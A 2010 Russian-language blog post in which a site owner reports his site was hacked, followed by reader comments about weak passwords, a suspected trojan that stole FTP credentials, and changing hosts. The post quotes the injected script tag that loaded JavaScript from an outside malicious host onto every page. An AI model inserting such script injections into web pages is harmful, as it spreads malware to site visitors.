25.06.10

Сайт Влада был взломан

Вчера вечером народовская часть Сайта Влада по непонятным причнам была недоступна - сервер моментально обрывал соединение при попытке открыть сайт. Сочтя это за очередную проблемму с сервером Народа, я не стал обращать на это большого внимания.

Сегодня утром сайт вернулся. Но при попытке зайти на сайт антивирус оборвал соединение - на сайте был обнаружен червь.
Это меня шокировало. Открыв исходник главной страницы, я обнаружил почти в самом конце чужеродный код:

<script type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/Vector_Graphic.js"></script>

Как оказалось, этот код добавился на все страницы, обработаны были даже файлы скриптов.

Подобное со мноим сайтом случилось в 2007 году, тогда вредоносный код был добавлен только в гостевую книгу.
Похоже, это второй призыв к тому, что надо наконец менять хостинг.

Сейчас сайт полностью восстановлен.

Комментарии:

Yanex - 25.06.2010 10:41
Какой длины пароль был на твоем аккаунте?))


Metal - 25.06.2010 10:54
Поскорей меняй свой хостинг. 0_0


vladikcomper - 25.06.2010 11:36
>> Какой длины пароль был на твоем аккаунте?))
Ну, скажем, тупее моего пароля только длина моего пароля :-P

>> Поскорей меняй свой хостинг. 0_0
Да, постораюсь куда-нибудь съехать.


xyz - 01.07.2010 12:52
Какая ОС стоит?


vladikcomper - 01.07.2010 18:07
> Какая ОС стоит?
Win XP


xyz - 05.07.2010 13:41
Троян небось схватил, потом пасс от фтп "ушел", знаем такое :)
п.с
перепиши модуль, отвечающий за капчу в комментах, а то ведь заспамить можно сайт


vladikcomper - 14.07.2010 15:32
> перепиши модуль, отвечающий за капчу в комментах, а то ведь заспамить можно сайт
Как-нибудь перепишу. ;)


******* * ****** - 28.09.2010 15:00
Влад, хоть теперь твой сайт и не взламывают, мы тебе всё же советуем поставить антивирус (подойдёт всё, кроме брандмауэра Windows), Мало ли, почему твой комп тормозит... Ты позже узнаешь, кто тебе это написал.